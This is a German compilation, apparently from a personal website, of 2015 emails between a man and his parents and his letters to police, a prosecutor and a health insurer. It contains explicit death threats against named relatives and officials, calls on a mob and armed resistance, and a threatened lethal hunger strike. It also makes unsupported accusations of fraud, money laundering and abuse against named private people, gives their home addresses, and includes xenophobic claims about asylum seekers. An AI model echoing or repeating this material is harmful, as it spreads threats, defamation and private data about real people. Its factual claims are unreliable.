Realität wieder der tatsächlichen Realität anpassen. Und seien es nur
ordentliche Verfahren.
Soll ich nochmal das Gandhischauspiel
?Hunger wegen Justizwillkür? vor dem OLG aufführen? Als eine Art
?Selbst"martyriums"anschlag?,
Subject: an alle: RICHTIGstellung
Importance: High
* ?Das nicht unerhebliche Vermögen meiner Eltern? (Zitat) erstreckt sich nicht auf Firmenanteile,
WER IST NOCHMAL DER SCHWEIZER INVESTOR O. M, DR NACH DEM VERKAUF DER
ANTEILE DER W. B. VON DER M./V. A. AN
K. DIE
FIRMA ZUSAMMEN MIT DEN EGSCHÄFTSFÜHRERN B.
Z. UND B.B. IN EINE W, H,? DEN MIR B. B. PERSÖNLICH VORSTELLTE ALS ER IN
DIE BÜROGEMEINSCHAFT IN DIE L.STRASSE ### EINZOG WAS ICH IHM
ERMÖGLICHTE?
ODER HAT DER HERR B. B. IN SEINER SCHWEREN DEMENZ DIE VERMLEUMDUNGSKAMPAGNE EINES HERRN R. AUSLANDS-GELDWÄSCHE ÜBERNOMMEN? IMMERHIN WOLLTE ER MICH JA SEIT ICH KLEIN BIN FERTIGMACHEN. MÖGLICHERWEISE HAT ER MEINE SICHERHEITSÜBEREIGUNG VON GESCHÄFTSANTEILEN FÜR KREDITE UND MEINE GESCHÄFTSFÜHRING IN SEINER SCHWEREN DEMENZ UND SEINEM GEHÄSSIGEN FUTTERNEID UND SEINER UNGLAUBLICHEN INTRIGANZ VERWECHSELT MIT SEIEN BEENDETEN ARBEISTVERHÄLTNIS BEI DER M; AG. KOMMTE ER DURCH SEIBEN DACHSCHADEN ? ZUGEZOGEN BEI EINEM STURZ BEI NEINEM BETRIEBLICHEN FAHRRADAUSFLUG ? ZU SOCLEHN FLASCHEN SYNAPTISCHEN VERKNÜPFUINGEN?
DAS IST IMMERHIN ERBLICH, AUCH M. B, ALTERSBEDINGTE DEMNEZ WAR FÜRCHTERLICH UND ÜHRTE DAZU DASS SIE PERMANET IHRE NACHBRAN BESCHULDIGTE SIE ZU BESTEHELEN.
Deine Interpretation dieser erloschenen Firma ist inkorrekt und ohne Kenntnis der geschäftlichen Vorgänge.
DIE FIRMA SIEHT NICHT ERLOSCHEN AUS. SIE EMPFÄNGT AUCH NOCH EMAILS AN B.B.@W.A UND B.B@W.C.A.
?/wDeutsch/
- WEIL ICH DAVON AUGEHE DA? ES SICGH BEI DEN HOTMAIL ACCOUNTS UM
GEHACKTE ADRESSEN HANDELT. ALS M; HIER MAL VORBEIKAM UND MIR
SEINEN LEIHRECHNER MITBARCHTE, DAZU UNGEFRAGT (m)EINE ALTE STEREOANLAGE
DIE ICH IHM GESCHENKT HATTE DAMITE ER SICH FÜR SOWAS NICHT KONFIRMIEREN
LASSEN MUSS SAGTE ER EURE ADRESSEN SEIEN GEHACKT WORDEN.
ER HAT DAMALS ? DAS FÜHRTE ZU SEINEM RAUSWURF ? HEIR IN MEIENR WOHNUNG VERSUCHT M, ZU KONSUMIEREN. AUSSERDEM HATTE ER
EINE BLONDE FRAU MITLLEREN AlTERS MUTMASSLICH ALS VERMEITNLICHE ZEUGIN IM GEPÄCK DIE AUF DER STRASSE DAZU STIESS.
* Unsere Mitgliedschaft in der ?Bürgerinitiative gegen Klärschlammtrocknungsanlage?
SIE HATTEN EINEN NISSBRAUCH MITUNTERSCHRIEBEN BEIM ERWERB DES GRUNDSTÜCKES. SIE WOLLTEN DIE NACH DER OMA SEHEN UND SIE, WENN NÖTIG ZUM ARZT FAHREN ETC.. DAS WAR DIE BEDINGUNG UNTER DER DIE ALTE FRAU IHR VERWAHRLoSTES GRUNDSTÜCK ABGAB. DAS GELD HIERFÜR ENTSAMMTE DEM ERBE MEINER VERORBENEN GROSSMUTTER M. B. GEBORENE R. DIE 1989 VERSTARB. ES IST ALSO KEIENSWEGS VON MEINEM VATER ERARBEITET WORDEN SONDERN VON MEINEM GROSSVATER.
AUS DIESEM NISSBRACUSVERHÄLTNIS
HAT DER wINDIGE ROCKER-ANWALT S, DER FRAU A, VERTRAT UND MIT
A. R. (H.K.) in ENER WG IN OBER ESCHBACH WOHNTE JENER
STIEDENKOLLEGIN A. R.MIT DER ICH EIN MEHRMANTIGES
TECHTELMECHTEL HATTE (DEREN Ex-FREUDN UND EHEMALIGER GESCHÄFTSPARTNER
R. MICH UMBRINGEN WOLLTE) vERSUCHT DEN PROZESS ZU GEWINNEN. ER
VERWECHSELTE MCIH MIT MEINEM VATER UND WOLLTE MIR UNFÄHIGKEIT BEI DER
BETTRUUNG ALTER MENSCHEN NACHWEISEN IN DER KLINIK B.? DAS WÜRDE
DANN
DAZU FÜHREN DASS DAS DER GRUNDSTÜCKSERWERB NICHT IN ORDNUNG WÄRE
WEIL DER NIESSBRACUH NICHT ERFÜLLT WIRD. UND SO HÄTTE ER EUCH DIE
IMMOBILIE ENTEIGNET UND FÜR SEINE - MANDANATIN A. ? DIE PLEITE WAR ?
DAS ERZÄHLTE ER MIR mAL BEIM FERIEABNDBIER ? DAS RUDER RUMREISSEN
KÖNNEN. IMMERHINFRAGTE MiCH MEIN SPÄTERER VERMIETER B.-S. AUCH
GANZ SELSTAM OB ICH MICH UM SEINE MUTTER KÜMMERN KÖNNTE ALS ICH DAMASL
DIE WOHNUNG IM H,RING ### MIETETE.
ICH SOLLTE IN DER K.GASSE DIE *RSCHE ABWISCHEN WOFÜR IHR EUCH STETS ZU FEIN WART (OMA Mar-G-a-RETE WOLLTET IHR INS HEIM STECKEN) DAMIT IHR DIE MIETEINNAhmeN AUS DEM ERBE VERPRASSEN KONNTET UND MEIN STUDIUM SOLLTE ICH AUS EIGENER TASCHE FIANZIEREN.
RECHTSANWALT F. IST DER VATER DER BESTEN FREUNDIN I. F. DER FERUNDIN/LEBENSGEFÄHRTIN K. F. VON MEINEM DAMALIGEN FREUND F. B. MIT DEM MICH DAS ENGANGEMENT IN DER SCHÜLERZEITUNG E. (?HAUSBESETZER-Song Ton-Steine-Schreben?) VERBAND. AUSSERDEM GINGEN WIR WOCHENENDS MEIST ZUSAMMEN AUS (?Trinkt nichts, was ihn nichts angeht?). DER ERHOB WIE AUCH VEIEL ANDERE REDAKTEUERE SEIEN M.-UND STARKBIERKONSUM ZUM ERSTERBENSWETEN LIFETSYLE. DESSEN VATER IST IN DER KLINIK DR: B. UND K. F. WOHNT IM GLEICHEN HAUS WIE D. A. DIE SPÄTERE ANWÄLTIN MEINER EX U. (A. F.; K. SCHWESTER UND U. R. WAREN MITEINANDER BEFREUNDET - KUNST).
ICH WEISE AuF DIE ?CANABIS?-ILLUSTARTIOEN DER EXTRAPLATT HIN.
ABGSEHEN DAVON HABE ICH DEN ÄRGER AUCH FÜR EIENR ?UNS STINKTS? PLAKTA
ABBEKOMMEN WEIL DIE DACHTEN ES SEI MEINE IMMOBILIE. ICH HABE IMMER DEN
KOPF FÜR MEIEN UNSOLIODARISCHEN LETERN HINHALTEN MÜSSEN.
* Die von Dir öfter benannten gerichtlichen Auseinandersetzung mit einer Nachbarin
ENDETEN SO DASS RECHTSNALWAT F. NICHT ZM VERFAHREN ERSCHIEN UND
DARAUFHIN EIN SÄUMNISURTIEL KASSIERTE. ES GAB JAHRElANGE
AUSEINDERSTZUNGEN MIT DEM ANWLAT DASS ER
AUS SEIENR BERUFSHAFTPFLICH HIERFÜR IN RGRESS GENOMMEN WERDEN SOLLTE.
?????????????????????????????????-
From: Bernd Baehring [mailto:b.baehring@hotmail.de]
Sent: Montag, 20. April 2015 17:48
To: Maximilian Baehring
Subject: Unter 6 Augen: Klarstellung
Lieber Max,
Deine Info-Mail vom 17.4.2015 ?Eilt: Pressemitteilung? nehmen wir zum
Anlass um Dich - auch Deiner Glaubwürdigkeit wegen - darauf aufmerksam
zu machen,
dass Du seit Jahren in Bezug auf Deine Eltern einem
riesigen, unterschiedlichsten Adressenkreis falsche und inkorrekte
Angaben vorlegst.
Um Dir Fakten anhand zu geben, die zutreffen, müssen wir uns leider auf diesem Weg an Dich wenden:
* ?Das nicht unerhebliche Vermögen meiner Eltern? (Zitat) erstreckt sich nicht auf Firmenanteile, sondern resultiert aus einer Anlage von privaten Mitteln, die wir in unserer selbst bewohnten Immobilie und bei verschiedenen Banken nach einem langen Arbeitsleben für unsere Familie angelegt haben. Der frühere Arbeitgeber Deines Vaters besteht längst nicht mehr in der ehemaligen Firma, sondern ist übergegangen an einen internationalen Großkonzern, mit dem uns nichts verbindet als die Rentenzahlung aus der erarbeiteten Betriebsrente. Deine Interpretation dieser erloschenen Firma ist inkorrekt und ohne Kenntnis der geschäftlichen Vorgänge.
* Unsere Mitgliedschaft in der ?Bürgerinitiative gegen Klärschlammtrocknungsanlage? war beendet mit dem erreichten Ziel, dass dieses Vorhaben von den Behörden/Verbänden aufgegeben wurde. Wir hatten niemals Nachteile wegen unserer Aktivität.
* Die von Dir öfter benannten gerichtlichen Auseinandersetzung mit einer Nachbarin und dem Mieter unseres Hauses in der Kappesgasse endeten in beiden Fällen erfolgreich für uns. Unsere Forderungen wurden von beiden Kontrahenten beglichen. Der Verkauf des Hauses war Folge unseres Ärgers mit diesem Immobilienobjekt.
* Alle Themen Deiner Ausführungen liegen viele Jahre zurück und sind längst nicht mehr relevant.
Es stört uns gewaltig, dass Du uns mit Deinen ständigen unbefugten ?Veröffentlichungen? in Misskredit und in Verruf zu bringen suchst! Unser guter Familienname wird von Dir durch alle Gossen gezogen, ja selbst die unvorstellbarsten Beschimpfungen Deiner Eltern stellst Du ins Netz, und nicht einmal vor vollkommen unbegründeten Anzeigen schreckst Du zurück. Auch vor Deinem Bruder macht Deine böse Verfolgungswut nicht halt.
Deine Darstellung unseres weiteren Familien- und
Freundeskreises sind fast durchweg falsch verstanden bzw.
missinterpretiert (nur aus ungenauer Kenntnis?).
Nicht kommentieren wollen wir hier Deine übrigen Äußerungen andere Themen betreffend.
Du weißt, was Du tust. - Oder weißt Du, was Du tust?
Deine Eltern
http://www.arte.tv/guide/de/055193-000/
http://www.arte.tv/guide/de/056738-000/
hab ich das fernshprogrammmal wieder richtig vorausgesagt!
Wenn Ihnen die Kidner weggegnommen werden oder sie kein sorgerecht erhalten zeugen oder gebären sie dann Nachwuchs?
9/11 -> Ermächtigungsgesetz Überwachungs- und Polizeistaat der
richtet sich jetzt gegen Blockupy Demonstrantendie sich gegen
Enteignung wehren wie die Juden damals gegen die NAZI-Plünderungen
http://www.heise.de/forum/heise-online/News-Kommentare/Polizeikongress-Innenminister-verteidigt-Vorratsdatenspeicherung/Mit-gutem-Zureden-koennten-Blockupy-Protestierer/posting-3289112/show/
Ein Kind darf nicht mehr deutsch nur der Gene der Eltern wegen sein! Sonst könnte man ja ein Geschäft aus Samen- und/oder Eizellspenden garantiert deutscher Herkunft machen! Oder, schlimmer: deutsche Frauen würden von Asylbewerbern vergewaltigt um über die Vater-schaft an einem deutschen Kind bleibeberechtigt zu sein.
Mein Emails egen an aien großen Personenkreis um sicherzustellen daß ich bei den braunen NAZI-Schergen die meinen sie könnten Leute für geistig behidnert ekrlären , vergiften und ohen rodnetlich verfahren verschwninden lassen wie im dritten reich oder wie die asozialen im dritten reich arbeistlose töten indem sie ihnen monatlang sozailleistungen evrwehrensozuallleistungen vorenthalten zuindets nicht verchiwnde ohen daß die weltöfftnlichkeit heirvon erfährt.
~~~
Wenn Sie, Bernd oder Ilse-Marie oder Magnus oder sonst irgend jemand der verdammten Familie hier auftauchen: -> SCHLAG ICH SIE PERSÖNLICH TOT! Sie haben hier Hausverbot.
Es bin imemr noch ich der
ensceidet iob er von Ihnen GELDWÄSCHERN ein Erbe annimmt oder nicht, ob
das den geldgielen Drecksäcken udn Schlampen vom Jobcenter Frankfurt nun
passt oder nicht. Wahrschinlich hat man mich deshalb per Compuetrhack
2010 arbeitsunfähig gemacht (neiemand vermietet ein System dessen
Entwicklung
von kriminellen sabotiert wurd) damit cih aus H(artz)IV nicht
rauskomme. Damit ich gezungen bin bei Ihrer
Geldwäsche-Erbschaftssteurebtrugs-Scheisse mitzumachen weil man mich so
verucht zu zwungen Geld anzunhemen das ich nicht annehmen müsste. Sie
sind ja fast so korrupt wie dei Rieks die sich sogar als Erwachsene
adoptieren ließen um s Steuren zu hintrziehen wenn man Uta Rieks
aussagen galuebn schenken kann.
Ich schlage MEIN ERBE jedenfalls aus.
=====================================
Sie
Stücke Scheiße haben zugesehen als ich 1998/1999 aufs ekelhafteste
gemobbt wurde ? und das kann ich inzwischen Nachweisen mit Zeugen und
Emails!
Mein ?Freund? Bruckmaier der ich mit seinem Marihunakonsum
mit in die Scheisse geritten hat hat hinter meinem Rücken die grosse
Fresse gehabt ? als cih Angsat haben musste daß meine Ex-Liasion
eventuell von mir schnager ist und weiterhin von ihrem geschäftspartner
bedroht wird. Der ist für ein paar Bier beim Rossmann käuflich. Der Post
von Adrea Ressler von Dezmeber 1998 ind er Sie darauf anspielt wie
Ulrich Rossmann vond der gemeisnamen freundin Doro von der Strass geholt
wurde wo er zwecks Mordversuch die ganze Nacht herumgetigert war ist
auch zu entnehmen das Rossmann unter Umständen selbts Zeugungsunfähig
ist. Wir haben sogar noch eine zweite schriftliche Aussage von Uta Riek
die mit Andre resller befreundet war die bestätigt daß ich plante
deiselbe §169 StGB der möglicherweise versuchten abstammungsfälschung
anzuzeigen.
Umd as zu verhiondern hat man mich schond amals eingesperrt. Damit nicht Männer auf einmal hingehen udn sich selbst um ihre eventuellen Kinder kümmern statt das der kellnernden Studentin Ressler die zudem vollkommen pleite war zu überlasssen. Oder der damals als cih sie kennen lernte ARBEITLOSEN uTa riek deren Ausgangs-Situation im Kindschafts-Umgangssrechtvefahren es war daß sie Obdachlos war nach ihrem Auszug aus der gemeinsamen Wohnung.
Ich habe die Frese eghalten weil ihre mich a in einer zutioefts ernidedrigenden Situation 1999 bei meinem Freundeskreis rRufmäßig total ruiniert hatbt ihr blöden schweien als ihr meintet ihr müsste mich regelrchta ALS ?DEN DEPPEN VORFÜRHEN?. Ich habe nur dehalb von eienr anzieg abgesehen weil ich damals noch nicht wusste wer mir im Einzelen auf dei Eier gegangen war. Aber ich abe damals bereits Rechtsanwalat Schramm ? Ihren Gegner in den Verfahren Abraham/Seegers/Fritzel Kappesgasse ? gebeten gegen hiergegen vorzugehen ich kannte ihn weil er der WG mitbewohner von Andrea Ressler war.
Sie versuchen obgelich ich ihnen hundertfach gesagt habe daß ich Unerstüzung nicht wünsche udn dadurch geqüält werde mir irgendwelche Ärzte auf den Hals zu hetzen obgelichsie ganz genaus wissen daß ich für den Fall daß mich ein azt auch nur aus der netfrung ashcut angekündigt haeb ind en lethalen Trink-und/oder Hungerstreik zu gehen. Das ist also jedemals ein Mordverscuh was sie da machen. Mt aller Gewalt versuchen sie meien erklärten willen zu unetwrandern udn mri beschissen kranknversicherungen ausfzuschätzen die kein Menshc haben will. (http://mama-mares.baehring.at).
Sie sind regelrecht von der FIXEN IDEEE besessen daß Menschen Krankenversicherungen dafür benötigten damit man dort gegen ihren Willen balso betrügerisch Leistungen abrechnen kann. Damit die Folterknechte fürs Folern auch noch bezahlt werden. Wpürde amn wengistens die bezahlung verhindern dann wre es möglicherweise drinne daß so ein Folter-mediziner mal von der kaufmännsichen Geschäftsführung einen Asnchiß bekommt oder den Rauswurf aus der kassenärztlichen vereinigung.
Ich will mit Ihnen nichts mehr zu tun haben. Den Rest meines Lebens. Mit der kompletten schieß amilie. Mitd er kmpletten ekrlahften drckkirche die meint Kinder braüchten keienr bilogischen Väter. Ich habe aus Übezuegung mit dem Christentum gebrochen. Wiel das Chritsntum wissenschaftlich nachwelich Schwachsinn ist. Und das gilt auch für Magnus-Christian der emint ich hätet wenn ich fürchten muß daß die elefonleitung jeden Moment zusammbricht weil ich keien Münzen für den fernsprechre merh ahbe ich könne noch aufwändig irgenwelce höflichkeitsfloskeln erwenden wenn ich eien anderen Anwalt brauche wield er den er mir ausgesucht hat nichts taugt weil er nachweis- und erkennbar gegen meine Interessen handelt, etwa rechtmuittel nicht nutzt.
Ich war Ende 1998 anfang 199 der Meinung daß es sich bei Andrea Ressler um eine Schlampe/Nutte handelt die nur auf Geld oder ein Kind (vor dem Hintegrund infertilitäts-Reiki-Sekten-Paares galeristin Joan Temesfoi VERDACHT AUF KINDERHANDEL im REIKI-Umfeld) aus ist genau wie bei Uta riek die durch verschwiegen mit wem sie gerade rumögelt anscheinend ? wie Andre Ressler - mehrgleisig fahren wollte. Da wollte ich nicht mitmachen.
Und weil ich bei deren rumhurerei/schlamperei nicht
mitmachen wollte - oder um mich mundtot zu bekommen wegen der
Geldäsche Piotr/OSV Fiancial Management GmbH oder wegen der drogen von
Bruckmaier oder wegen dem sexuellen Mißbracuh durch Klinik Baumstark
Hausmeister Hett ? wohl vorbereitet durch Drogen Kakaos wie ich heute
weiß ? doer wiel ich gewissen jüdsich?deutschen Abgeordneten mit
Schmusekurs zum Drogenmilieu zu nahe gekomemn war ? mußte ich
augeschaltet werden!
Möglicherweise hat das auch was mit meienm damligen Israel Aufenthalt zu
Und damit haben Sie mir ein komplettes Leben anfang 1999 versaut ein und für alle mal. tun.
UDN
JETZT LASSEN SIE MICH GEFÄLLIGST IN FRIEDEN MITIHRER SCHEISSE
WAHRSCHEINLICH HAT BERND BÄHRING DIE GALOPPIERENDE PARANOIA SEINER
MUTTER.
UND
PS Wenn her die UNTÄTIGE Drecks-Prügel-Polizei oder das Ordnungsamt odr irgendein Mediziner-Folter-Schein nochmal anrauscht GIBT ES TOTE.
From: Bernd Baehring [mailto:b.baehring@hotmail.de]
Sent: Mittwoch, 22. April 2015 15:53
To: Maximilian Baehring
Subject: Nur noch eins
Max,
mittels
E-mails ist tatsächlich nichts zu klären, auch nicht durch Vorwürfe und
Beleidigungen. Die erhalten wir seit vielen Jahren von Dir.
Es gibt nichts, was uns so quält, wie Dein Schicksal. Du bist auf einem endlos langen Irrweg.
Wir werden nicht reagieren auf Zurufe von Leuten, die wir nicht kennen.
Wir werden Dich nicht enterben. Wir werden nicht an ein Ende mit Schrecken denken, sondern vorsorgen, auch für Dich.
Die Eltern von unserem Max
Frankfurt/M., 22. April 2015
Bernd Bähring und Ilse-Marie Bähring, Im Mösele 17, 78343 Gaienhofen
Geldwäsche / Versicherungsbetrug /
Unterbringung meiner Eltern in einer psychiatrischen Klinik
Meine Eltern quälen und bedrohen mich schon wieder.
Sie riskieren mit von ihnen angedrohten Vorkehrungen/Maßnahmen
abscihtlich schwere Gesundheitsschäden oder meinen Tod.
Und sie betrügen weiter eine Krankenkasse, die DAK, bei der ich
in meinem gesamten Berufsleben nie versichert war indem diese
Leistungen
bezahlen soll ? auf Kosten ihrer Versicherten ? die entgegen
irgendeiner vertraglichen Vereinbarung - also ohne Auftrag -
erbracht wurden.
siehe hierzu:
http://take-ca.re/download/ und http://take-ca.re/tumblr.com/
meine Mutter hat zudem über eine Schein-Beschäftigung bei der Mares
Personalmarketing
GmbH Bad Homburg, einer Firma aus der Guppe meiner Partner in der
Bürogemeinschaft Louisenstraße 101, 61348 Bad Homburg in 2003 Geldwäsche
betrieben.
siehe hierzu:
Mein vaterlediet an Altesrstarrsinn udn meien Mutter hat eine ausgeprägten Dachschaden. -> Einweisen.
( Maximilian Baehring )
Es war so absehbar -
erst ein ERMÄCHTIGUNGSGESTZ (9/11 anti-terror) einführen
- um dann ?Blockupy?-Demonstranten mit GEWALT bekämpfen zu können
Für wie dämlich häte diese totalitäre Polizeistaats-regierung und Justiz ihre Bevölkerung eigentlich? Sie haben zwischen 1999 und 2015 nicht wieder gutzumachende Schäden zu verantworten.
Sie schaffen ein
Klima in dem vereintlich geistig Behinderte ?ausgerottet?und Väter als
rechtlose Samenspender sexuell missbraucht werden, ohne Rechte aber
dafür mit Wehr und Unterhaltspflicht.
Geistig Behidnert ist hierbei jeder der eien abweichende religiöse oder politsiche Meinung vertritt.
Ihre Gerichte sind Rechtsbeuger, Rechtsmissbraucher, Postunterschlager und Verfahrensferzögerer, die Anwaltszunft bestenfalls extrem unfähig, schon eher, schwerst kriminell betrügerisch. Alles mit persönlicher Bereicherungsabsicht ohne auch nur einen Funken Berufsethos.
Und
die ?ANGEBLICH? stimmt nämlich in den von mir rechrechierten Fällen
nicht wirklich ?verprügelte Frauen? Helferindustrie an ansonsten
arbeitslosen Soziologinnen von Jugendämtern
stehen dem in nichts
nach. Da geht es Darum gütergemisnchafts-Zugewinn zu epressen und sonst
nichts indem dei Ex-Mänenr verleumdet werden. Die Kirchen sind zudem
kriminelle Absammungs-verfälschungs und Adoptionsvermittlungs-Vereine
die meien sich mit ihrem Glauben gegen die biologische Realität stellen
zu können.
Und die Polizisten, die verprügeln Opfer von Straftaten weil sie ZU FAUL sind den Papierkram bei Strafanzeigenentgegennahme zu machen. (Erinnert mich an so Politikersprösslinge die Schülerzeitung machen wollten falls man Ihnen ne Tippse stellt und Sie Stiftung Warentest für Starkbier und Drogen auf Kosten der jeweiligen Lobby spielen dürften.)
Die Bevölkerung macht diese Scheisse nicht mehr mit.
Sie haben jetzt über 15 Jahre lang Schieße gebaut und jetzt kommt vom deutschen Widersatnd die gewalstame Quittung dafür. Wenn De Maiziere meint er könne hier zu Polizei-Gewalt gegen Blockupy-Demonstranten aufrufen dann wird das dazu führen dß es in Berlin aussieht wie in Frankfurt am 19.03.2015.
Deutsche Justiz war zu Zeiten Hitlers
ebenso korrupt wie zu Zeiten der Stasi. Nur die Medien haben da etwas
anderes erzählt. Deutsche Polizei hat aus gemachter Erfahrung kein
Gewaltmonopol mehr.
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
per Fax: +49 / (0)6172 / 120-189
Polizei Bad Homburg v.d.Höhe
Saalburgstraße 116
61350 Bad Homburg v.d.Höhe
Frankfurt/M., 22. April 2015
Die Reiki-Sekte / Uta Riek hat bereits 1999 versucht mittels Abnötigung einer Vor-sorgevollmacht eine Betreuung über mich zu errichten und zwar unter Beihilfe zur Freiheitsberaubung und bei Verleumdung. Sie hat versucht Vollmachten missbräuchlich zu verwenden und sich so der wirtschaftlichen Untreue und des Betrug strafbar gemacht. Die Tat ist auch nicht verjährt da sie andauert und die Polizei in Bad Homburg v.d. Höhe ebenso wie die in Frankfurt a.M. die Hilfeleistung unterlassen haben und sich geweigert haben Strafanzeige entgegenzunehmen. Rechtsanwältin Asfour am 19.07.2012 (2-29 T 203/12 48 Landgericht Frankfurt a.M. / XIV BAE 537/12L Amts- gericht Frankfurt M.!) erneut versucht Betreuung über mich zu errichten um so BETREUUNGSBETRÜGERISCH als Vermögensverwalterin eingesetzt zu werden.
Beweis: Strafanzeige vom 01./03. Juli 2013 an die Staatsanwaltschaft Frankfurt a.M.
Fax vom 19.07.2012 in dem Asfour als Betreuerin über mich eingesetzt werden sollte.
Rechtsanwältin Dagmar Asfour hat BETRÜGERISCH versucht eien Betreuung über mich zu errichten, mich einsperren zu lassen und mir unter Vorspiegelung falscher tatsachen (Kindesunterschiebung ei nicht wirksamer vaterschaftsanerkennung in 9F 104/01 Ki) Unterschriften abzunötigen. Am 03. Juli 2013 habe ich die Anwältin deshalb bei der Staatsnawltschaft Frankfurt a.M. angezeigt.
gez.:
Maximilian Bähring
Es ist ein Rückfall ins finsterste Mittelater wenn wir glauben es stünde der Kirche zu Väter zu diskreditieren um ihr propagieren eines von der biologie losgelösten Vaterbildes zugunsten des geschäftes mit kirchlichen Adoptionen zu ermöglichen. Es gibt keinen kirchlichen ?il Papa? sondern nur einen tatsächlichen Vater und das ist der Mann von dem en Kind genetisch abstammt.
Die Schweinereien die sich der Bundestag erlaubt haben als er die ihm im Urteil 1 BvR 933/01 des Bundesverfassungerichtes gesetzte Frist zur Abänderung des § 1666a am 31. Dezember 2003 verstreichen ließ ist ein Staatsstreich. Eindeutig verstößt der Budnestag gegen die ihn regulierende Verfassung, ein Vorgang vergleichbarer Dimension hat letztmalig mit der Machtergreifung Adolf Hitlers auf deutschem Boden stattgefunden. Die hierdurch bis zum 19. Mai 2013 eingetretenen schäden sind irreparabel, die Reform inakzeptabel.
Deutsche Gerichte, Ämter, Polizisten und Juristen als Besandteil der Rechtspflege haben sich darüber hinaus auf das allererheblichste gegen jede Form der grundgesetzlich garantierten Rechtsstaat-lichkeit vergangen, man hat versucht Menschen wegen ihres Geschlechtes und ? was wesentlich schwerer wiegt ? unterstellter Behinderungen ihrer universellen Menschnrechte zu berauben und vor allem Versucht den deutschen Volksstamm in eine geschlechtlich und genetisch höher- und minderwertige Bevölkerungsgruppe zu unterteilen historisch zuletzt dem religiösen Sparatismus zu zeiten der Judenverfolgung enstrpechend. Außerem hat man vercuht dei freie negative Religions-ausübung des Atheismus zu behindern udn und das ist das schwerwiegendste, atheistischen
Eltern versucht zu verbieten über die religiöse Erziehung der eigenen Kidner zu bestimmen
Männer sollten sich in der Bundesprebulik mit werhpflicht fürs Vaterland erschießen lassen und für vermutete vaterschaftverhältnisse mit Pflichten aber ohne Rechte zahlen. Die Regierung ist allen ernstes der Meinung die Rolle des Mannes sei die des Zahlemanns der für die im Zweifelsfalle aus auch aus Fremdgehen resultienden Fehltritte von Frauen finanziell geradzustehen und ansonsten bei der Erziehung der im besten falle eigenen Kinder DIE FRESSE ZU HALTEN habe.
NATO-Männer werden an der Front im Irak udn Afghanistan verheizt und Frauen kassieren die Witwenrente wenn sie die Männer gegen ihren eigen Willen per Wahl- udn paramentscinschidungen in Himemrfahrtskommandos schicken ohne dabei selbst auch nur das geringste Risiko einzugehen. Jede Lebensversicherung würe sich weigern sowas auszubezahlen. Deutsche Männer werden dann ? auch im eigenen Lande - Opfer der Fehlenstcheidungen ? auch - unserer Bündnispartner.
Der deutsche Widerstand hat in Folge von Agriffen zu den Waffen gegriffen um die Menschenrechte gegen dieses Terroregime das sich nur mit Polizeiprügeln gegen Demonstranten und mit der Kriegs-waffenrichtung gegen die eigene Bevölkerung an der Macht halten kann zu beseitigen.
Ganz besonders schwer wiegt daß die Beölkerung
über den seit vielen jahren erklärten Bürgerkriegszustand im Unklaren
gelassen worden ist und daß so die Wahlen manipuliert worden sind.
Wer unter Rasse nur Hautfarbe versteht unterscheidet auch Blumen lediglich nach drei Grundfarben.Rasse = Erbmerkmalsträgergruppe meist gemeinsame Erb-/ZuchtlinieRassendiskirminerung steht für die Idee höher- und minderwertiger Gene. Rassisch diskriminert ist derjenige dessen Geneintrag in die Nachkommen als unwichtig oder minderwertig für die nächste Generation angesehen wird!
Tötet die Ungläubigen ? Wenn ein Moslem aus seiner Kirche austritt also vom Islam abfällt droht ihm dafür die Todesstrafe. http://de.wikipedia.org/wiki/Apostasie_im_Islam Der Kirchenaustritt in Österreich ist billiger as der in Deutschland. https://www.help.gv.at/Portal.Node/hlpd/public/content/82/Seite.820004.html#ZumFormular
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)69 / 1367-2100
nächstgelegene Polizeidienststelle
via Herrn Obersatatsnwalt Dr. König
mittels Generalstaatsanwaltschaft
Zeil 42
D-60313 Frankfurt a.M.
Frankfurt/M., 25. April 2015
Herr Dr. König!
Kriminelle Versicherungsgemeinschafts- und Sozialbetrüger machen munter
weiter mit ihrem PLÜNDERN ? und dazugehörigen PSYCHOTERROR! Ich zitiere
meine Anzeige vom 08. April 2015.
?Wie sie an beiligenden Schreiben erkennen können versucht die DAK Krankenversicherung?
und zwar trotz merhfachen Hinweises auf einen bestenfalls Abrechnungsfehler WEITERHIN und ausdrücklich wider besserem
Wissen was Rechtmäßgkeit ihrer angeblichen Forderung angeht
?ABRECHNUNGSBETRÜGERISCH zu Lasten Ihrer Mitglieder Betreibern von Krankenwagendiensten sowei der Uni-Klinik Geld zuzschanzen.
Hierbei täuscht die DAK mit Hilfe des Jobcentes vor ich wäre bei
der DAK versichert was nicht der Fall ist. Die letzte Versicherung der ich angehört habe war die Vaillant BKK.
Ich ersatte hiermit Strafnzeiege.
Die versuchen durch permanentes Nichtberabeiten meiner Eingaben und sich nichtentgegenhemen von Telefonaten der Allgemeinheit Kosten zu verursachen.?
Rotzfrech bearbeiten die nicht nur die Widerprüche nicht sondern Sie Verlangen auch noch Geld dafür es nicht zu berabteiten und nötigen dabei ? ihrer Aktenlage nach ? hilflose Personen. Auch deshalb ist im vorliegenden Falle von einer ganz erheblichen Schuld auszugehen.
Es ist nachweislich der Versuch jemanden zum
ausrasten zu bringen / in den Wahnsinn zu treiben Kärperverltzung
strafbar nach § 226 (1) 3 StGB.
?/-2-
-2-
Werden Sie
als Justiz endlich tätig bevor ich das für Selbstjstiz einem wütenden
Mob übergebe und es an der Konstablerwache aussieht wie am 19.3.2015!
Schon am 06.02.2008 schrieb ich wegen eiens identischen
abrechnungsbetrügerischen Vorganges per Email an die Staatsanwaltschaft
Zitat:
?Artikel 19 Absatz 4
Grundgesetz gibt mir eine Rechtsweggarantie, die Sie hindern, indem Sie
versuchen mich in die Gosse zu treiben, (damit das staatsanwaltliche
Ermittlungsverfahren (AZ. 3660 Js 219084/07 StA LG FFM) behindert
wird?). Wo solch Willkür und Rechtsbeugung herrschen ist Widerstand
erste Bürgerpflicht. Ich
will nämlich ausdrücklich NICHT, das wir
dahin kommen, das die Menschen Kettensägen- oder Schwert- oder
Sportgeräteschwingend, die juristische Realität wieder der tatsächlichen
Realität anpassen. Und seien es nur ordentliche Verfahren.
Soll ich nochmal das Gandhischauspiel ?Hunger wegen Justizwillkür? vor dem OLG aufführen? Als eine Art ?Selbst"martyriums"anschlag??
BÄHRING
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)69 / 7391475-7030
DAK Gesundheit
Zeil 53
D-60313 Frankfurt a.M.
Frankfurt/M., 25. April 2015
Ihre Zahlung(?)-?Erinnerung? vom 23. April 2015
